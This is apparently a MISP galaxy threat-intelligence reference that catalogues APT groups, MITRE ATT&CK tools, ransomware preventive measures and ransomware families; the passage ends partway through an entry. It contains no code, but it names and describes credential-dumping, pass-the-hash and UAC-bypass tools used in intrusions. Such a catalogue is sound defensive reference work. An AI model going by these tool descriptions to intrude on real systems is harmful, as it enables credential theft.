The tag is: *misp-galaxy:mitre-pre-attack-intrusion-set="APT16 - G0023"*

APT16 - G0023 is also known as:

- APT16

APT16 - G0023 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-malware="ELMER - S0064" with estimative-language:likelihood-probability="almost-certain"

Table 2847. Table References

Links
https://attack.mitre.org/wiki/Group/G0023
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html

APT28 - G0007

APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)

The tag is: *misp-galaxy:mitre-pre-attack-intrusion-set="APT28 - G0007"*

APT28 - G0007 is also known as:

- APT28
- Sednit
- Sofacy

- Pawn Storm
- Fancy Bear
- STRONTIUM
- Tsar Team
- Threat Group-4127
- TG-4127

APT28 - G0007 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="STRONTIUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Sofacy" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"

Table 2848. Table References

Links
https://attack.mitre.org/wiki/Group/G0007
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign

Cleaver - G0003

Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)

The tag is: *misp-galaxy:mitre-pre-attack-intrusion-set="Cleaver - G0003"*

Cleaver - G0003 is also known as:

- Cleaver
- TG-2889
- Threat Group 2889

Cleaver - G0003 has relationships with:

- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-malware="TinyZBot - S0004" with estimative-language:likelihood-probability="almost-certain"

Table 2849. Table References

Links
https://attack.mitre.org/wiki/Group/G0003
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf
http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/

APT12 - G0005

APT12 is a threat group that has been attributed to China. (Citation: Meyers Numbered Panda)

The tag is: *misp-galaxy:mitre-pre-attack-intrusion-set="APT12 - G0005"*

APT12 - G0005 is also known as:

- APT12
- IXESHE
- DynCalc
- Numbered Panda
- DNSCALC

APT12 - G0005 has relationships with:

- similar: misp-galaxy:threat-actor="IXESHE" with estimative-language:likelihood-probability="likely"

- uses: misp-galaxy:mitre-enterprise-attack-malware="Ixeshe - S0015" with estimative-language:likelihood-probability="almost-certain"

Table 2850. Table References

Links
https://attack.mitre.org/wiki/Group/G0005
http://www.crowdstrike.com/blog/whois-numbered-panda/

APT1 - G0006

APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-pre-attack-intrusion-set="APT1 - G0006"*

APT1 - G0006 is also known as:

- APT1
- Comment Crew
- Comment Group
- Comment Panda

APT1 - G0006 has relationships with:

- similar: misp-galaxy:threat-actor="Comment Crew" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"

Table 2851. Table References

Links
https://attack.mitre.org/wiki/Group/G0006
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Night Dragon - G0014

Night Dragon is a campaign name for activity involving threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon) The activity from this group is also known as Musical Chairs. (Citation: Arbor Musical Chairs Feb 2018)

The tag is: *misp-galaxy:mitre-pre-attack-intrusion-set="Night Dragon - G0014"*

Night Dragon - G0014 is also known as:

- Night Dragon

- Musical Chairs

Night Dragon - G0014 has relationships with:

- similar: misp-galaxy:threat-actor="Night Dragon" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-malware="gh0st - S0032" with estimative-language:likelihood-probability="almost-certain"

Table 2852. Table References

Links
https://attack.mitre.org/wiki/Group/G0014
https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee%20NightDragon%20wp%20draft%20to%20customersv1-1.pdf
https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/

APT17 - G0025

APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)

The tag is: *misp-galaxy:mitre-pre-attack-intrusion-set="APT17 - G0025"*

APT17 - G0025 is also known as:

- APT17
- Deputy Dog

APT17 - G0025 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Winnti Group - G0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Axiom" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Aurora Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Axiom - G0001" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-malware="BLACKCOFFEE - S0069" with estimative-language:likelihood-probability="almost-certain"

Table 2853. Table References

Links
https://attack.mitre.org/wiki/Group/G0025

https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf

Tool

Name of ATT&CK software.

Tool is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

at

at is used to schedule tasks on a system to run at a specified date or time.[[Citation: TechNet At]]

Aliases: at, at.exe

The tag is: *misp-galaxy:mitre-tool="at"*

at is also known as:

- at
- at.exe

Table 2854. Table References

Links
https://attack.mitre.org/wiki/Software/S0110
https://technet.microsoft.com/en-us/library/bb490866.aspx

route

route can be used to find or change information within the local system IP routing table.[[Citation: TechNet Route]]

Aliases: route, route.exe

The tag is: *misp-galaxy:mitre-tool="route"*

route is also known as:

- route
- route.exe

Table 2855. Table References

Links

https://attack.mitre.org/wiki/Software/S0103
https://technet.microsoft.com/en-us/library/bb490991.aspx

Tasklist

The Tasklist utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface.[[Citation: Microsoft Tasklist]]

The tag is: *misp-galaxy:mitre-tool="Tasklist"*

Table 2856. Table References

Links
https://attack.mitre.org/wiki/Software/S0057
https://technet.microsoft.com/en-us/library/bb491010.aspx

Windows Credential Editor

Windows Credential Editor is a password dumping tool.[[Citation: Amplia WCE]]

Aliases: Windows Credential Editor, WCE

The tag is: *misp-galaxy:mitre-tool="Windows Credential Editor"*

Windows Credential Editor is also known as:

- Windows Credential Editor
- WCE

Table 2857. Table References

Links
https://attack.mitre.org/wiki/Software/S0005
http://www.ampliasecurity.com/research/wcefaq.html

schtasks

schtasks is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time.[[Citation: TechNet Schtasks]]

Aliases: schtasks, schtasks.exe

The tag is: *misp-galaxy:mitre-tool="schtasks"*

schtasks is also known as:

- schtasks

- schtasks.exe

Table 2858. Table References

Links
https://attack.mitre.org/wiki/Software/S0111
https://technet.microsoft.com/en-us/library/bb490996.aspx

UACMe

UACMe is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.[[Citation: Github UACMe]]

The tag is: *misp-galaxy:mitre-tool="UACMe"*

UACMe has relationships with:

- similar: misp-galaxy:malpedia="UACMe" with estimative-language:likelihood-probability="likely"

Table 2859. Table References

Links
https://attack.mitre.org/wiki/Software/S0116
https://github.com/hfiref0x/UACME

ifconfig

ifconfig is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system.[[Citation: Wikipedia Ifconfig]]

The tag is: *misp-galaxy:mitre-tool="ifconfig"*

Table 2860. Table References

Links
https://attack.mitre.org/wiki/Software/S0101
https://en.wikipedia.org/wiki/Ifconfig

Mimikatz

Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.[[Citation: Deply Mimikatz]][[Citation: Adsecurity Mimikatz Guide]]

The tag is: *misp-galaxy:mitre-tool="Mimikatz"*

Mimikatz has relationships with:

- similar: misp-galaxy:tool="Mimikatz" with estimative-language:likelihood-probability="likely"

Table 2861. Table References

Links
https://attack.mitre.org/wiki/Software/S0002
https://adsecurity.org/?page%20id=1821
https://github.com/gentilkiwi/mimikatz

xCmd

xCmd is an open source tool that is similar to PsExec and allows the user to execute applications on remote systems.[[Citation: xCmd]]

The tag is: *misp-galaxy:mitre-tool="xCmd"*

Table 2862. Table References

Links
https://attack.mitre.org/wiki/Software/S0123
https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/

Systeminfo

Systeminfo is a Windows utility that can be used to gather detailed information about a computer.[[Citation: TechNet Systeminfo]]

Aliases: systeminfo.exe, Systeminfo

The tag is: *misp-galaxy:mitre-tool="Systeminfo"*

Systeminfo is also known as:

- systeminfo.exe
- Systeminfo

Table 2863. Table References

Links
https://attack.mitre.org/wiki/Software/S0096
https://technet.microsoft.com/en-us/library/bb491007.aspx

netsh

netsh is a scripting utility used to interact with networking components on local or remote systems.[[Citation: TechNet Netsh]]

Aliases: netsh, netsh.exe

The tag is: *misp-galaxy:mitre-tool="netsh"*

netsh is also known as:

- netsh
- netsh.exe

Table 2864. Table References

Links
https://attack.mitre.org/wiki/Software/S0108
https://technet.microsoft.com/library/bb490939.aspx

dsquery

dsquery is a command-line utility that can be used to query Active Directory for information from a system within a domain.[[Citation: TechNet Dsquery]] It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.

Aliases: dsquery, dsquery.exe

The tag is: *misp-galaxy:mitre-tool="dsquery"*

dsquery is also known as:

- dsquery
- dsquery.exe

Table 2865. Table References

Links
https://attack.mitre.org/wiki/Software/S0105
https://technet.microsoft.com/en-us/library/cc732952.aspx

gsecdump

gsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems.[[Citation: TrueSec Gsecdump]]

The tag is: *misp-galaxy:mitre-tool="gsecdump"*

gsecdump has relationships with:

- similar: misp-galaxy:malpedia="gsecdump" with estimative-language:likelihood-probability="likely"

Table 2866. Table References

Links
https://attack.mitre.org/wiki/Software/S0008
http://www.truesec.com/Tools/Tool/gsecdump%20v2.0b5

Ping

Ping is an operating system utility commonly used to troubleshoot and verify network connections.[[Citation: TechNet Ping]]

Aliases: ping.exe, Ping

The tag is: *misp-galaxy:mitre-tool="Ping"*

Ping is also known as:

- ping.exe
- Ping

Table 2867. Table References

Links
https://attack.mitre.org/wiki/Software/S0097
https://technet.microsoft.com/en-us/library/bb490968.aspx

Fgdump

Fgdump is a Windows password hash dumper.[[Citation: Mandiant APT1]]

The tag is: *misp-galaxy:mitre-tool="Fgdump"*

Table 2868. Table References

Links
https://attack.mitre.org/wiki/Software/S0120
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Lslsass

Lslsass is a publicly-available tool that can dump active logon session password hashes from the lsass process.[[Citation: Mandiant APT1]]

The tag is: *misp-galaxy:mitre-tool="Lslsass"*

Table 2869. Table References

Links
https://attack.mitre.org/wiki/Software/S0121

https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Pass-The-Hash Toolkit

Pass-The-Hash Toolkit is a toolkit that allows an adversary to "pass" a password hash (without knowing the original password) to log in to systems.[[Citation: Mandiant APT1]]

The tag is: *misp-galaxy:mitre-tool="Pass-The-Hash Toolkit"*

Table 2870. Table References

Links
https://attack.mitre.org/wiki/Software/S0122
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

FTP

FTP is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.[[Citation: Wikipedia FTP]]

Aliases: FTP, ftp.exe

The tag is: *misp-galaxy:mitre-tool="FTP"*

FTP is also known as:

- FTP
- ftp.exe

Table 2871. Table References

Links
https://attack.mitre.org/wiki/Software/S0095
https://en.wikipedia.org/wiki/File%20Transfer%20Protocol

ipconfig

ipconfig is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration.[[Citation: TechNet Ipconfig]]

Aliases: ipconfig, ipconfig.exe

The tag is: *misp-galaxy:mitre-tool="ipconfig"*

ipconfig is also known as:

- ipconfig

- ipconfig.exe

Table 2872. Table References

Links
https://attack.mitre.org/wiki/Software/S0100
https://technet.microsoft.com/en-us/library/bb490921.aspx

certutil

Certutil is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services.[[Citation: TechNet Certutil]]

Aliases: certutil, certutil.exe

The tag is: *misp-galaxy:mitre-tool="certutil"*

certutil is also known as:

- certutil
- certutil.exe

certutil has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-tool="certutil - S0160" with estimative-language:likelihood-probability="likely"

Table 2873. Table References

Links
https://attack.mitre.org/wiki/Software/S0160
https://technet.microsoft.com/library/cc732443.aspx

nbtstat

nbtstat is a utility used to troubleshoot NetBIOS name resolution.[[Citation: TechNet Nbtstat]]

Aliases: nbtstat, nbtstat.exe

The tag is: *misp-galaxy:mitre-tool="nbtstat"*

nbtstat is also known as:

- nbtstat
- nbtstat.exe

Table 2874. Table References

Links

https://attack.mitre.org/wiki/Software/S0102
https://technet.microsoft.com/en-us/library/cc940106.aspx

HTRAN

HTRAN is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. [[Citation: Operation Quantum Entanglement]]

Aliases: HTRAN, HUC Packet Transmit Tool

The tag is: *misp-galaxy:mitre-tool="HTRAN"*

HTRAN is also known as:

- HTRAN
- HUC Packet Transmit Tool

HTRAN has relationships with:

- similar: misp-galaxy:malpedia="HTran" with estimative-language:likelihood-probability="likely"

Table 2875. Table References

Links
https://attack.mitre.org/wiki/Software/S0040
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf

netstat

netstat is an operating system utility that displays active TCP connections, listening ports, and network statistics.[[Citation: TechNet Netstat]]

Aliases: netstat, netstat.exe

The tag is: *misp-galaxy:mitre-tool="netstat"*

netstat is also known as:

- netstat
- netstat.exe

Table 2876. Table References

Links
https://attack.mitre.org/wiki/Software/S0104
https://technet.microsoft.com/en-us/library/bb490947.aspx

pwdump

pwdump is a credential dumper.[[Citation: Wikipedia pwdump]]

The tag is: *misp-galaxy:mitre-tool="pwdump"*

Table 2877. Table References

Links
https://attack.mitre.org/wiki/Software/S0006
https://en.wikipedia.org/wiki/Pwdump

Cachedump

Cachedump is a publicly-available tool that program extracts cached password hashes from a system’s registry.[[Citation: Mandiant APT1]]

The tag is: *misp-galaxy:mitre-tool="Cachedump"*

Table 2878. Table References

Links
https://attack.mitre.org/wiki/Software/S0119
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Net

The Net utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections.Net has a great deal of functionality,[[Citation: Savill 1999]] much of which is useful for an adversary, such as gathering system and network information for , moving laterally through [[Windows admin shares]] using <code>net use</code> commands, and interacting with services.

Aliases: Net, net.exe

The tag is: *misp-galaxy:mitre-tool="Net"*

Net is also known as:

- Net
- net.exe

Table 2879. Table References

Links
https://attack.mitre.org/wiki/Software/S0039
https://msdn.microsoft.com/en-us/library/aa939914
http://windowsitpro.com/windows/netexe-reference

PsExec

PsExec is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers.[[Citation: Russinovich Sysinternals]][[Citation: SANS PsExec]]

The tag is: *misp-galaxy:mitre-tool="PsExec"*

PsExec has relationships with:

- similar: misp-galaxy:tool="PsExec" with estimative-language:likelihood-probability="likely"

Table 2880. Table References

Links
https://attack.mitre.org/wiki/Software/S0029
https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
https://digital-forensics.sans.org/blog/2012/12/17/protecting-privileged-domain-accounts-psexec-deep-dive

Arp

Arp displays information about a system's Address Resolution Protocol (ARP) cache.[[Citation: TechNet Arp]]

Aliases: Arp, arp.exe

The tag is: *misp-galaxy:mitre-tool="Arp"*

Arp is also known as:

- Arp
- arp.exe

Table 2881. Table References

Links
https://attack.mitre.org/wiki/Software/S0099
https://technet.microsoft.com/en-us/library/bb490864.aspx

cmd

cmd is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities.[[Citation: TechNet Cmd]]

Cmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., <code>dir</code>[[Citation: TechNet Dir]]), deleting files (e.g., <code>del</code>[[Citation: TechNet Del]]), and copying files (e.g.,

<code>copy</code>[[Citation: TechNet Copy]]).

Aliases: cmd, cmd.exe

The tag is: *misp-galaxy:mitre-tool="cmd"*

cmd is also known as:

- cmd
- cmd.exe

Table 2882. Table References

Links
https://attack.mitre.org/wiki/Software/S0106
https://technet.microsoft.com/en-us/library/cc771049.aspx
https://technet.microsoft.com/en-us/library/cc755121.aspx
https://technet.microsoft.com/en-us/library/bb490886.aspx
https://technet.microsoft.com/en-us/library/bb490880.aspx

Cobalt Strike

Cobalt Strike is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz.[[Citation: cobaltstrike manual]]

The list of techniques below focuses on Cobalt Strike’s ATT&CK-relevant tactics.

The tag is: *misp-galaxy:mitre-tool="Cobalt Strike"*

Cobalt Strike has relationships with:

- similar: misp-galaxy:rat="Cobalt Strike" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-tool="Cobalt Strike - S0154" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Cobalt Strike" with estimative-language:likelihood-probability="likely"

Table 2883. Table References

Links
https://attack.mitre.org/wiki/Software/S0154
https://cobaltstrike.com/downloads/csmanual38.pdf

Reg

Reg is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information.Reg are known to be used by persistent threats.[[Citation: Windows Commands JPCERT]]

Aliases: Reg, reg.exe

The tag is: *misp-galaxy:mitre-tool="Reg"*

Reg is also known as:

- Reg
- reg.exe

Table 2884. Table References

Links
https://attack.mitre.org/wiki/Software/S0075
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/cc732643.aspx

Preventive Measure

Preventive measures based on the ransomware document overview as published in https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml# . The preventive measures are quite generic and can fit any standard Windows infrastructure and their security measures..

Preventive Measure is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various

Backup and Restore Process

Make sure to have adequate backup processes on place and frequently test a restore of these backups. (Schrödinger's backup - it is both existent and non-existent until you've tried a restore

The tag is: *misp-galaxy:preventive-measure="Backup and Restore Process"*

Table 2885. Table References

Links

http://windows.microsoft.com/en-us/windows/back-up-restore-faq#1TC=windows-7 .[http://windows.microsoft.com/en-us/windows/back-up-restore-faq#1TC=windows-7.]

Block Macros

Disable macros in Office files downloaded from the Internet. This can be configured to work in two different modes: A.) Open downloaded documents in 'Protected View' B.) Open downloaded documents and block all macros

The tag is: *misp-galaxy:preventive-measure="Block Macros"*

Table 2886. Table References

Links
https://support.office.com/en-us/article/Enable-or-disable-macros-in-Office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6?ui=en-US&rs=en-US&ad=US
https://www.404techsupport.com/2016/04/office2016-macro-group-policy/?utm_source=dlvr.it&utm_medium=twitter

Disable WSH

Disable Windows Script Host

The tag is: *misp-galaxy:preventive-measure="Disable WSH"*

Table 2887. Table References

Links
http://www.windowsnetworking.com/kbase/WindowsTips/WindowsXP/AdminTips/Customization/DisableWindowsScriptingHostWSH.html

Filter Attachments Level 1

Filter the following attachments on your mail gateway: .ade, .adp, .ani, .bas, .bat, .chm, .cmd, .com, .cpl, .crt, .exe, .hlp, .ht, .hta, .inf, .ins, .isp, .jar, .job, .js, .jse, .lnk, .mda, .mdb, .mde, .mdz, .msc, .msi, .msp, .mst, .ocx, .pcd, .ps1, .reg, .scr, .sct, .shs, .svg, .url, .vb, .vbe, .vbs, .wbk, .wsc, .ws, .wsf, .wsh, .exe, .pif, .pub

The tag is: *misp-galaxy:preventive-measure="Filter Attachments Level 1"*

Filter Attachments Level 2

Filter the following attachments on your mail gateway: (Filter expression of Level 1 plus) .doc, .xls, .rtf, .docm, .xlsm, .pptm

The tag is: *misp-galaxy:preventive-measure="Filter Attachments Level 2"*

Restrict program execution

Block all program executions from the %LocalAppData% and %AppData% folder

The tag is: *misp-galaxy:preventive-measure="Restrict program execution"*

Table 2888. Table References

Links
http://www.fatdex.net/php/2014/06/01/disable-exes-from-running-inside-any-user-appdata-directory-gpo/
http://www.thirdtier.net/ransomware-prevention-kit/

Show File Extensions

Set the registry key "HideFileExt" to 0 in order to show all file extensions, even of known file types. This helps avoiding cloaking tricks that use double extensions. (e.g. "not_a_virus.pdf.exe")

The tag is: *misp-galaxy:preventive-measure="Show File Extensions"*

Table 2889. Table References

Links
http://www.sevenforums.com/tutorials/10570-file-extensions-hide-show.htm

Enforce UAC Prompt

Enforce administrative users to confirm an action that requires elevated rights

The tag is: *misp-galaxy:preventive-measure="Enforce UAC Prompt"*

Table 2890. Table References

Links
https://technet.microsoft.com/en-us/library/dd835564(WS.10).aspx

Remove Admin Privileges

Remove and restrict administrative rights whenever possible. Malware can only modify files that users have write access to.

The tag is: *misp-galaxy:preventive-measure="Remove Admin Privileges"*

Restrict Workstation Communication

Activate the Windows Firewall to restrict workstation to workstation communication

The tag is: *misp-galaxy:preventive-measure="Restrict Workstation Communication"*

Sandboxing Email Input

Using sandbox that opens email attachments and removes attachments based on behavior analysis

The tag is: *misp-galaxy:preventive-measure="Sandboxing Email Input"*

Execution Prevention

Software that allows to control the execution of processes - sometimes integrated in Antivirus software Free: AntiHook, ProcessGuard, System Safety Monitor

The tag is: *misp-galaxy:preventive-measure="Execution Prevention"*

Change Default "Open With" to Notepad

Force extensions primarily used for infections to open up in Notepad rather than Windows Script Host or Internet Explorer

The tag is: *misp-galaxy:preventive-measure="Change Default "Open With" to Notepad"*

Table 2891. Table References

Links
https://bluesoul.me/2016/05/12/use-gpo-to-change-the-default-behavior-of-potentially-malicious-file-extensions/

File Screening

Server-side file screening with the help of File Server Resource Manager

The tag is: *misp-galaxy:preventive-measure="File Screening"*

Table 2892. Table References

Links
http://jpelectron.com/sample/Info%20and%20Documents/Stop%20crypto%20badware%20before%20it%20ruins%20your%20day/1-PreventCrypto-Readme.htm

Restrict program execution #2

Block program executions (AppLocker)

The tag is: *misp-galaxy:preventive-measure="Restrict program execution #2"*

Table 2893. Table References

Links
https://technet.microsoft.com/en-us/library/dd759117%28v=ws.11%29.aspx

http://social.technet.microsoft.com/wiki/contents/articles/5211.how-to-configure-applocker-group-policy-to-prevent-software-from-running.aspx

EMET

Detect and block exploitation techniques

The tag is: *misp-galaxy:preventive-measure="EMET"*

Table 2894. Table References

Links
www.microsoft.com/emet[www.microsoft.com/emet]
http://windowsitpro.com/security/control-emet-group-policy

Sysmon

Detect Ransomware in an early stage with new Sysmon 5 File/Registry monitoring

The tag is: *misp-galaxy:preventive-measure="Sysmon"*

Table 2895. Table References

Links
https://twitter.com/JohnLaTwC/status/799792296883388416

Blacklist-phone-numbers

Filter the numbers at phone routing level including PABX

The tag is: *misp-galaxy:preventive-measure="Blacklist-phone-numbers"*

Table 2896. Table References

Links
https://wiki.freepbx.org/display/FPG/Blacklist+Module+User+Guide#BlacklistModuleUserGuide-ImportingorExportingaBlacklistinCSVFileFormat

Ransomware

Ransomware galaxy based on https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml and http://pastebin.com/raw/GHgpWjar.

Ransomware is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/

pubhtml - http://pastebin.com/raw/GHgpWjar

Nhtnwcuf Ransomware (Fake)

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Nhtnwcuf Ransomware (Fake)"*

Table 2897. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/nhtnwcuf-ransomware.html

CryptoJacky Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptoJacky Ransomware"*

Table 2898. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/cryptojacky-ransomware.html
https://twitter.com/jiriatvirlab/status/838779371750031360

Kaenlupuf Ransomware

About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Kaenlupuf Ransomware"*

Table 2899. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/kaenlupuf-ransomware.html

EnjeyCrypter Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="EnjeyCrypter Ransomware"*

Table 2900. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/enjey-crypter-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-10th-2017-spora-cerber-and-technical-writeups/
https://www.bleepingcomputer.com/news/security/embittered-enjey-ransomware-developer-launches-ddos-attack-on-id-ransomware/

Dangerous Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Dangerous Ransomware"*

Table 2901. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/dangerous-ransomware.html

Vortex Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Vortex Ransomware"*

Vortex Ransomware is also known as:

- Ŧl tєг г гє

Table 2902. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/vortex-ransomware.html
https://twitter.com/struppigel/status/839778905091424260

GC47 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="GC47 Ransomware"*

Table 2903. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/gc47-ransomware.html

RozaLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="RozaLocker Ransomware"*

Table 2904. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/rozalocker-ransomware.html
https://twitter.com/jiriatvirlab/status/840863070733885440

CryptoMeister Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptoMeister Ransomware"*

Table 2905. Table References

Links
